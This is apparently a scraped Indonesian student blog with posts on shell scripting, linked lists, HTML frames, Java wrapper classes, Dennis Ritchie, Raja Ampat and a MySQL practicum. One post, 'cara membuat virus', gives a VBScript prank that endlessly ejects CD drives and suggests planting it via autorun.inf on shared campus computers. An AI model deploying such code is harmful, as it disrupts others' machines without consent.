·                                 Yang kedua kita mencoba Statemen Case dengan cara membuat file terlebih dahulu yang diberi nama nama dengan cara menuliskan vi nama kemudian setelah itu isinya kita tulis seperti ini  :
                            for nama in Febtyana Sudiri Hartini
                                do
                           echo "nama : $nama"
                          done  
·                                       Kemudian kita simpan dengan kembali menuliskan wq allu kita coba dengan menuliskan chmod +x nama; ./ nama maka hasilnya adalah :
                     Nama     :  Febtyana
                     Nama     :  sudiri
                     Nama     :  hartini

 

D. KESIMPULAN

Setelah mempelajari pemograman Shell Script yang terdapat di dalam system operasi Linux dengan statement Case, For, dan While, kita dapat mengenal pemograman shell sript dalam system operasi Linux dan membuat program shell sript yang terdapat pada Linux.
Pemograman shell adalah salah satu pemograman yang eksekusinya tidak memerlukan yang namanya compiler khusus akan tetapi hanya cukup diterjemahkan saja oleh shell tersebut

pengertian LINKLIST dan contohnya

on 13 September 2012


LINKLIST

Linked list / di sebut juga senarai berantai yaitu penglokasian memori secara dinamis yang digunakan untuk menyimpan data. Pada linked list kita dapat menyimpan data seberapapun yang kita mau.
            Single linked list (senarai berantai tunggal) adalah linked list dimana semua simpul-simpulnya hanya memiliki 1buah penunjuk yang digunakan untuk mengkaitkan diri degan simpul lain yang sejenis yang ada disebelah kanannya didalam sebuah senarai berantai yang sama.

Unsure-unsur pendukung linked list meliputi:
-          Penunjuk/pointer à alat untuk menunjuk sebuah simpul atau tempat kosong (null).
-          Simpul/node à untuk simpul tunggal hanya dapat menunjuk kesimpul yang serupa dengan dirinya yang letaknya disebelah kanannya.
-          Senarai berantai/single linked list à merupakan kiumpulan simpul-simpul yang terhubung satu dengan yang lain.

Menghilangkan Scrolling

on 15 Juli 2012


Menghilangkan Scrolling
Jika anda tidak menghendaki batang penggulung tersebut, Anda bisa menambahkan:
SCROLLING=”NO” pada tag <FRAME> yang menentukan frame kiri.

tambahkan atribut scrolling=”no” pada  tag frame
Contoh:
<html>
<frameset cols="25%,*">
     <frame src="frame_satu.html" scrolling="no" >
     <frame src="frame_dua.html">
</frameset>
</html>
Hasilnya:

menggunakan border pada tag (frameset)


Menggunakan Border
Atribut BORDER pada tag <frameset> berguna untuk mengatur ketebalan garis pemisah antarframe. Jika anda tidak menghendaki adanya pemisah antar frame, tambahkan atribut border=”0”, atau jika menginginkan border yang lebih tebal, tambahkan nilainya.
Contoh:
frame_kiri.html
<html>
<body>
Ini frame kiri
</body>
</html>
frame_kanan.html
<html>
<body>
Ini frame kanan
</body>
</html>

cara membuat FRAME


PENGGUNAAN FRAME
Banyak halaman web diinternet yang menggunakan frame. Frame memungkinkan satu halaman web atau lebih ditampilkan pada sebuah jendela browser.  Halaman yang berbasis frame dibentuk dengan menggunakan pasangan tag <frameset> dan </frameset>. Di dalam tag <frameset>, atribut cols digunakan untuk menentukan lebar masing-masing frame. Sebagai contoh, pendefinisian lebar dua buah frame ditentukan melalui:

<frameset cols=”30%,*”>
....
</frameset>

Didalam pasangan tag <frameset></frameset> disebutkan berkas-berkas HTML yang menyusun frame. Hal ini dikerjakan dengan menggunakan tag <frame>. Didalam tag ini, nama berkas HTML disebutkan melalui atribut SRC.
Contoh:
frame_satu.html
<html>
<body bgcolor="Black">
<font size="+2" face="Arial" color="white">
Ini frame kiri
</font>
</body>
</html>
frame_dua.html

KLAS DATA TYPE WRAPPER

on 19 Juni 2012

Class wrapper adalah representasi objek sederhana dari variabelvariabel non-objek yang sederhana.
Nama-nama class wrapper cukup mudah untuk diingat selama nama-nama itu sama
dengan tipe data primitif. Dan juga sebagai catatan, bahwa class-class wrapper diawali
dengan huruf besar dan versi yang ditunjukkan dari tipe data primitive.
Boolean
Java memiliki tipe data sederhana untuk besaran logika yang disebut boolean. Tipe ini hanya dapat memiliki 2 kemungkinan nilai, yaitu true atau false. Tipe inilah yang dikeluarkan oleh semua operator perbandingan, seperti (a < b). Boolean juga merupakan tipe yang dibutuhkan oleh semua operator pengatur alur bersyarat, seperti if, while, dan do.
operator InstanceOf instanceOf memiliki dua operands: suatu mengarahke sebuah object pada sebelah kiri dan nama class pada sebelah kanan. pernyataan mengembalikan nilai true atau false tergantung pada apakah object adalah sebuah instance dari penamaan class atau beberapa dari subclass milik class tersebut.
Sebagai contoh,
boolean ex1 = "Texas" instanceof String; // true
Object pt = new Point(10, 10);
boolean ex2 = pt instanceof String; // false

public int compareTo(String anotherString)
Membandingkan dua String dan mengirim bilangan int yang menspesifikasikan apakah
objek string pemanggil kurang dari atau sama dengan anotherString. Bernilai negatif
jika objek yang dilewatkan (passed string) lebih besar, 0 jika kedua string sama, dan
bernilai positif jika objek string pemanggil (calling string) lebih besar.
toUpperCase() adalah fungsi untuk mengubah seluruh huruf menjadi huruf besar.
toLowerCase() berfungsi untuk mengubah huruf menjadi huruf¹¹¹¹ kecil.

contoh programnya :

Linked List atau senarai berantai


Linked List atau senarai berantai adalah kumpulan atau koleksi dari komponen yang dinamakan node. Setiap node menyimpan informasi tentang alamat dari node berikutnya . Sebuah node terdiri dari dua bagian, yaitu data dan link.

ArrayList merupakan array dinamis untuk tipe object . Karena setiap class adalah subclass object, maka semua obyek yang dimiliki oleh semua class dapat disimpan dalam ArrayList. Kode ArrayList hanya ditulis sekali tetapi dapat bekerja untuk semua tipe obyek.

ini adalah contoh dari progaram " Linked List atau senarai berantai " , berserta penjelasannya

CARA MEMBUAT LINK YANG SEDERHANA PADA WEB

on 6 Juni 2012

Link merupakan suatu kata, sederetan kata (kalimat) atau gambar dalam suatu web yang tehubung dengan suatu halaman web, baik itu halaman web dari dalam web itu sendiri atau pun halaman web pihak lain.
Web artinya Suatu sistem di internet yang memungkinkan siapapun agar bisa menyediakan informasi. Dengan menggunakan teknologi tersebut, informasi dapat diakses selama 24 jam dalam satu hari dan dikelola oleh mesin. Untuk mengakses informasi yang disediakan web ini, diperlukan berbagai perangkat lunak, yang disebut dengan web browser.
sekarang kita akan mencoba untuk memebuat beberapa program LINK untuk formula


Penemu Bahasa Pemprograman C ( Dennis Ritchie )

on 27 April 2012
Dennis Ritchie (lahir 9 September 1941 – meninggal 8 Oktober 2011 pada umur 70 tahun) tak hanya dikenal sebagai pembuat bahasa C, ia juga menjadi bagian tim di Bell Labs yang mengembangkan UNIX — sistem operasi yang menjadi basis Linux dan Apple MacOS saat ini. Lewat kreasinya tersebut kita bisa menikmati komputer modern seperti sekarang dan menggunakan bermacam aplikasi sehari-hari baik di Windows maupun sistem lainnya.

Ritchie yang meraih gelar PhD di Harvard juga pernah mendapatkan sejumlah penghargaan internasional bagi karyanya termasuk Turing Award di tahun 1983, IEEE Richard W. Hamming Medal di tahun 1990, dan National Medal of Technology di tahun 1999. Semua penghargaan ini diperoleh bersama mitranya, Ken Thompson. Hingga tahun 2007, Ritchie tercatat sebagai kepala departemen riset di Lucent Technologies.

Walaupun tak sepopuler Steve Jobs, namun pengaruhnya dalam dunia teknologi sama hebatnya. Ritchie merupakan penemu bahasa pemrograman C dan salah satu pengembangan Unix yang keduanya pendukung teknologi modern.

Bahasa C ini digunakan untuk memprogram sistem yang sering digunakan dalam mengembangkan software aplikasi.

Sedangkan Unix menjadi sistem operasi pilihan untuk internet dan kemudian banyak digunakan pada berbagai jenis perangkat keras.

Prestasi Ritchie-pun banyak diakui, salah satunya pada tahun 1999 ketika ia di anugerahi US National Medal of Technology, penghargaan tertinggi di Amerika untuk teknologi.

Presiden Alcatel-Lucent Bell Labs, Jeong Kim mengatakan, "Ritchie benar-benar inspirasi bagi kita semua, bukan hanya karena prestasinya, tapi juga sebagai teman, penemu, dan seorang pria rendah hati yang ramah," ujarnya.

Programer Google, Tim Bray-pun menyampaikan kesannya terhadap Ritchie melalui Twitternya, "Dia sudah membantuku dengan ciptaannya selama tiga puluh tahun," kata Bray.

Seorang pengembang, James Grimmelman mengatakan bahwa pengaruh Ritchie setara dengan Jobs.

"Ritchie mempunyai pengaruh yang sama besarnya dengan Jobs, hanya saja itu kurang terlihat," ujarnya di akun Twitternya.

cara membuat virus

on 24 April 2012


Cara Membuat Virus Nakal .kali ini saya akn membagi informasi sedikit tentang membuat virus..

Mencoba-coba buat virus di tempat temen
Walaupun ada beberapa yang copas, namanya juga belajar gan
Hmm teryata berhasil
Heheehe

Ini scib-nya

Set ilikepies = CreateObject("WMPlayer.OCX.7")
Set ilikepie = ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loop
End If

Simpan file dengan ekstensi file nama_terserah.vbs atau apapun
nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya (Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya
tanpa henti.


Cara menghentikan aksi Virus cukup menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk sobat, jadi setiap kamu colokin ke kompie kampus, maka akan otomatis dijalankan Virus Nakal ini..

Sekian dari saya. Semoga bermanfaat ya gan

Beberapa pulau yang terkenal di indonesia yang mendunia

on 23 April 2012
Beberapa pulau yang terkenal di indonesia yang mendunia, Disini kita akan membahas tentang pulau yang memiliki keindahan yang sangat luar biasa yang teradapat di Papua..
pastinya diantara temen-temen sudah tidak asing lagi dengan pulau ini,
Raja Ampat merupakan rangkaian empat gugusan pulau yang berdekatan dan berlokasi di barat bagian Kepala Burung (Vogelkoop) Pulau Papua. Secara administrasi, gugusan ini berada di bawah Kabupaten Raja Ampat, Provinsi Papua Barat. Kepulauan ini sekarang menjadi tujuan para penyelam yang tertarik akan keindahan pemandangan bawah lautnya. Empat gugusan pulau yang menjadi anggotanya dinamakan menurut empat pulau terbesarnya, yaitu Pulau Waigeo, Pulau Misool, Pulau Salawati, dan Pulau Batanta.
Asal mula nama Raja Ampat menurut mitos masyarakat setempat berasal dari seorang wanita yang menemukan tujuh telur. Empat butir di antaranya menetas menjadi empat orang pangeran yang berpisah dan masing-masing menjadi raja yang berkuasa di Waigeo, Salawati, Misool Timur dan Misool Barat. Sementara itu, tiga butir telur lainnya menjadi hantu, seorang wanita, dan sebuah batu.
Yang paling membuat kita bangga adalah karena Perairan laut di Raja Ampat merupakan perairan yang terjernih di dunia, dan juga biota laut yang terdapat di perairan laut Raja Ampat merupakan yang terlengkap dan banyak yang hanya berada di daerah kepulauan Raja Ampat. Dan juga Raja Ampat merupakan lokasi penyelaman terbaik diseluruh dunia.

kota jogaja

on 19 April 2012
indahnya kota jogja.
penuh dengan kedamaian

laporan partikum basis data semester 2 modul 9

on 12 April 2012

MODUL 9
SQL (OPERASI PADA TABEL TUNGGAL)


A.MAKSUD DAN TUJUAN
Agar mahasiswa memahami tentang perintah-perintah yang digunakan untuk melakukan operasi dan melakukan modifikasi pada tabel tunggal.

B.PEMBAHASAN

ALL : kata kunci dasar untuk pernyataan select. Kondisi denagn ALL menghasilkan nilai benar jika perbandingan dihasilkan niali benar untuk setiap nilai dalam subquery. Tetapi kita hampir tidak pernah menemukan kata kunci tersebut karena hasil dari select<nama tabel> dan select all<nama tabel> adalah identik.

Pelaksanaan praktikum :


*      mysql> show tables;
//untuk menampilkan table dari dbproyek1.

mysql> select * from divisi;
+---------+------------+-------------+---------------------------+
| kodediv | lokasi     | kodemanager | namadiv                   |
+---------+------------+-------------+---------------------------+
| D101    | Bandung    | 13235500    | Construction Management   |
| D102    | Yogyakarta | 13235539    | Marketing Management      |
| D501    | Yogyakarta | 13235540    | Management Information Sy |
| D535    | Jakarta    | 13235552    | Production Management     |
+---------+------------+-------------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select * from divisi;
//digunakan untuk menampilkan data dari divisi yang berisi kodediv, lokasi, kodemanager, namadiv.

mysql> select kodediv, namadiv from divisi order by namadiv;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D501    | Management Information Sy |
| D102    | Marketing Management      |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by namadiv;
//untuk menampilkan kodediv, namadiv dari table divisi mengurutkan namadiv berdasar nama secara urut naik.

mysql> select kodediv, namadiv from divisi order by namadiv desc;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D535    | Production Management     |
| D102    | Marketing Management      |
| D501    | Management Information Sy |
| D101    | Construction Management   |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by namadiv desc;
//digunakan untuk menampilkan data kodediv, namadiv, dari table divisi dan mengurutkan secara urut turun.

mysql> select kodediv, namadiv from divisi order by kodediv;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D102    | Marketing Management      |
| D501    | Management Information Sy |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)
*      mysql> select kodediv, namadiv from divisi order by kodediv;
// untuk mengurutkan berdasarkan nama kodediv secara urut naik.

mysql> select kodediv, namadiv, lokasi from divisi order by namadiv desc, lokasi
;
+---------+---------------------------+------------+
| kodediv | namadiv                   | lokasi     |
+---------+---------------------------+------------+
| D535    | Production Management     | Jakarta    |
| D102    | Marketing Management      | Yogyakarta |
| D501    | Management Information Sy | Yogyakarta |
| D101    | Construction Management   | Bandung    |
+---------+---------------------------+------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv, lokasi from divisi order by namadiv desc, lokasi
//untuk mengurutkan divisi menurut jenis dan nama. Pada kodediv, namadiv, lokasi untuk table divisi.

mysql> select kodediv, namadiv from divisi order by 2;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D501    | Management Information Sy |
| D102    | Marketing Management      |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by 2; //untuk mengurutkan divisi menurut kolom 2 (jenis).

mysql> select kodediv, namadiv from divisi order by 2;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D501    | Management Information Sy |
| D102    | Marketing Management      |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by 2;
//untuk mengurutkan divisi menurut kolom 2 (jenis).

mysql> select kodediv, namadiv, lokasi, avg(kodemanager) from divisi group by l
kasi;
+---------+-------------------------+------------+------------------+
| kodediv | namadiv                 | lokasi     | avg(kodemanager) |
+---------+-------------------------+------------+------------------+
| D101    | Construction Management | Bandung    |         13235500 |
| D535    | Production Management   | Jakarta    |         13235552 |
| D102    | Marketing Management    | Yogyakarta |       13235539.5 |
+---------+-------------------------+------------+------------------+
3   rows in set (0.03 sec)

*      mysql> select kodediv, namadiv, lokasi, avg(kodemanager) from divisi group by lokasi untuk menampilkan kodediv, //namadiv, lokasi dan untuk menghasilkan rata-rata kodemanager dikelompokkan berdasarkan kodediv, namadiv, lokasi.

mysql> select count(kodediv) from divisi;
+----------------+
| count(kodediv) |
+----------------+
|              4 |
+----------------+
1 row in set (0.00 sec)

*      mysql> select count(kodediv) from divisi;
//untuk menghasilkan cacah baris dari tabel kodediv kolom kodediv dalam count dapat diganti apa saja (hanya 1 field) cukup ditulis * (sembarang).

mysql> select * from divisi LIMIT 3;
+---------+------------+-------------+---------------------------+
| kodediv | lokasi     | kodemanager | namadiv                   |
+---------+------------+-------------+---------------------------+
| D101    | Bandung    | 13235500    | Construction Management   |
| D102    | Yogyakarta | 13235539    | Marketing Management      |
| D501    | Yogyakarta | 13235540    | Management Information Sy |
+---------+------------+-------------+---------------------------+
3 rows in set (0.00 sec)

*      mysql> select * from divisi LIMIT 3;
//untuk membatasi jumlah baris yang ditampilkan hanya menampilkan 3 record dari atas.

mysql> select lokasi,count(*) as cacah from divisi group by lokasi;
+------------+-------+
| lokasi     | cacah |
+------------+-------+
| Bandung    |     1 |
| Jakarta    |     1 |
| Yogyakarta |     2 |
+------------+-------+
3 rows in set (0.00 sec)
*      mysql> select lokasi,count(*) as cacah from divisi group by lokasi;
//menghitung jumlah acount dari divisi perjenis, khusus untuk yang dari lokasi.

LATIHAN

mysql> use perpustakaan;
Database changed
*      mysql> use perpustakaan;
// digunakan untuk koneksi ke database sebelu menggunakan program mysql, kita harus mengakses basis data nya terlebih dahulu. Maka tanggapan mysql database changed.

mysql> show tables;
+------------------------+
| Tables_in_perpustakaan |
+------------------------+
| anggota                |
| buku                   |
| jenisbk                |
| pegawai                |
| pengarang              |
| pinjam                 |
+------------------------+
6 rows in set (0.00 sec)
*      mysql> show tables;
// untuk menampilkan table pada perpustakaan. Yang hasil seperti table diatas.

mysql> select * from anggota;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0001 | Titik Hartati    | 093110001 | 2.50 | AK      |            5 |
| MHS0002 | Yani             | 093110002 | 3.50 | AK      |         NULL |

*      mysql> select * from anggota;
*      // untuk menampilkan atau membaca data dari anggota. Pada perintah ini untuk menampilkan semau kolom semua baris.

mysql> select * from anggota order by nama_angt;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0009 | Arman            | 093110009 | 3.01 | MI      |         NULL |

*      mysql> select * from anggota order by nama_angt;
// untuk menampilkan data dari anggota dan mengurutkan data dengan menggunakan ORDER BY. Dengan nama urutan naik.

mysql> select * from anggota order by nama_angt, ipk desc;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0009 | Arman            | 093110009 | 3.01 | MI      |         NULL |

*      mysql> select * from anggota order by nama_angt, ipk desc;
// untuk menampilkan nama dan ipk semua anggota

mysql> select * from anggota order by ipk desc, jurusan;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0003 | Bernedictus Cico | 093110003 | 3.75 | AK      |            3 |
| MHS0002 | Yani             | 093110002 | 3.50 | AK      |         NULL |

*      mysql> select * from anggota order by ipk desc, jurusan;
// untuk menampilkan data anggota dengan mengurutkan ipkdengan jurusan.

mysql> select count(jurusan) from anggota;
+----------------+
| count(jurusan) |
+----------------+
|             21 |

*      mysql> select count(jurusan) from anggota;
// menampilkan jurusan dari anggota

mysql> select count(jurusan) from anggota group by jurusan;
+----------------+
| count(jurusan) |
+----------------+
|              3 |
|              8 |

*      mysql> select count(jurusan) from anggota group by jurusan;
// untuk menampilkan jurusan daria anggota.


mysql> select jurusan, count(jurusan) as 'banyak mahasiswa' from anggota group b
y jurusan;

+---------+------------------+
| jurusan | banyak mahasiswa |
+---------+------------------+
| AK      |                3 |
| MI      |                8 |


*      mysql> select jurusan, count(jurusan) as 'banyak mahasiswa' from anggota group by jurusan;
// pada perintah ini untuk menampilkan jurusan, acount dari banyak mahasiswa dari group anggota nya dari jurusan. Pad jurusan AK ada 3 jumlah mahasiswa, sedangkan pada MI ada 8 mahasiswa.

mysql> select jurusan, avg(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK      |   3.250000 |
| MI      |   2.696250 |

*      mysql> select jurusan, avg(ipk) as 'Rerata IPK' from anggota group by jurusan;
// untuk menampilkan data pada table jurusan dengan menghitung rata-rata ipk,

mysql> select jurusan, max(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK      |       3.75 |
| MI      |       3.90 |

*      mysql> select jurusan, max(ipk) as 'Rerata IPK' from anggota group by jurusan;
// untuk menampilkan data bedasarkan ipk terbesar pada rata-rata ipk darijurusan.

mysql> select jurusan, min(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK      |       2.50 |

*      mysql> select jurusan, min(ipk) as 'Rerata IPK' from anggota group by jurusan;
// menampilkan jurusan untuk memperoleh nilai ipk yang terkecil dari rerata ipk dari anggota jurusan.

mysql> select * from anggota limit 6;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0001 | Titik Hartati    | 093110001 | 2.50 | AK      |            5 |

*      mysql> select * from anggota limit 6;
// untuk menampilkan data dari anggota dan membatasi jumlah baris yang ditampilkan. Hanya menampilkan 6 record dari atas.

mysql> select * from anggota order by nama_angt limit 6;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0009 | Arman            | 093110009 | 3.01 | MI   
  |         NULL |

*      mysql> select * from anggota order by nama_angt limit 6;
//  untuk menampilkan data anggota yang diurutkan dari anggota dan ditampilkan 6 record dari atas.
C.TUGAS

mysql> show tables;
+----------------------+
| Tables_in_tokoonline |
+----------------------+
| barang               |
| detailbeli           |

mysql> select * from barang;
+-------------+--------------------+--------------+
| kode_barang | nama_barang        | harga_barang |
+-------------+--------------------+--------------+
| PRHP001     | HP LASER 4L        |   1250000.00 |
| PRHP002     | HP LASER 5L        |   1450000.00 |

mysql> select * from barang order by harga_barang;
+-------------+--------------------+--------------+
| kode_barang | nama_barang        | harga_barang |
+-------------+--------------------+--------------+
| PRCN001     | CANON DESKJET 1000 |    650000.00 |
| PRCN002     | CANON DESKJET 1200 |    750000.00 |

mysql> select * from barang order by harga_barang desc;
+-------------+--------------------+--------------+
| kode_barang | nama_barang        | harga_barang |
+-------------+--------------------+--------------+
| PRHP006     | HP LASER 1500      |   1950000.00 |
| PRHP005     | HP LASER 1020      |   1850000.00 |

mysql> select count(*) from barang order by harga_barang desc;
+----------+
| count(*) |
+----------+
|       11 |

mysql> select sum(harga_barang) from barang;
+-------------------+
| sum(harga_barang) |
+-------------------+
|       14350000.00 |

mysql> select avg(harga_barang) from barang;
+-------------------+
| avg(harga_barang) |
+-------------------+
|    1304545.454545 |

mysql> select * from barang group by kode_barang like 'prn%';
+-------------+-------------+--------------+
| kode_barang | nama_barang | harga_barang |
+-------------+-------------+--------------+
| PRHP001     | HP LASER 4L |   1250000.00 |

mysql> select avg(harga_barang) as 'Rerata Harga' from barang;
+----------------+
| Rerata Harga   |
+----------------+
| 1304545.454545 |

mysql> select * from barang where kode_barang like 'prh%';
+-------------+---------------+--------------+
| kode_barang | nama_barang   | harga_barang |
+-------------+---------------+--------------+
| PRHP001     | HP LASER 4L   |   1250000.00 |

mysql> select avg(harga_barang) from barang where kode_barang like 'prh%';
+-------------------+
| avg(harga_barang) |
+-------------------+
|    1633333.333333 |

mysql> select avg(harga_barang) from barang where kode_barang like 'prc%';
+-------------------+
| avg(harga_barang) |
+-------------------+
|     910000.000000 |

mysql> select kode_barang, avg(harga_barang) from barang where kode_barang like
'prc%';
+-------------+-------------------+
| kode_barang | avg(harga_barang) |
+-------------+-------------------+
| PRCN001     |     910000.000000 |

mysql> select kode_barang, avg(harga_barang) from barang where kode_barang like
'prh%';
+-------------+-------------------+
| kode_barang | avg(harga_barang) |
+-------------+-------------------+
| PRHP001     |    1633333.333333 |

mysql> select max(harga_barang) from barang where nama_barang like 'HP%';
+-------------------+
| max(harga_barang) |
+-------------------+
|        1950000.00 |

mysql> select nama_barang, max(harga_barang) from barang where nama_barang like
'HP%';
+-------------+-------------------+
| nama_barang | max(harga_barang) |
+-------------+-------------------+
| HP LASER 4L |        1950000.00 |

mysql> select nama_barang, max(harga_barang) from barang where nama_barang like
'Canon%';
+--------------------+-------------------+
| nama_barang        | max(harga_barang) |
+--------------------+-------------------+
| CANON DESKJET 1000 |        1150000.00 |

mysql> select nama_barang, min(harga_barang) from barang where nama_barang like
'Canon%';
+--------------------+-------------------+
| nama_barang        | min(harga_barang) |
+--------------------+-------------------+
| CANON DESKJET 1000 |         650000.00 |

mysql> select nama_barang, min(harga_barang) from barang where nama_barang like
'HP%';
+-------------+-------------------+
| nama_barang | min(harga_barang) |
+-------------+-------------------+
| HP LASER 4L |        1250000.00 |



D.KESIMPULAN
            Untuk memahami perintah-perintah yang digunakan untuk melakukan operasi dan melakukan modifikasi pada tabel tunggal. Kondisi dengan ALL menghasilkan nilai benar jika perbandingan dihasilkan nilai benar untuk setiap niali dalam subquery.

E.LISTING
Terlampir

 
Template Indonesia | NOTE
Aku cinta Indonesia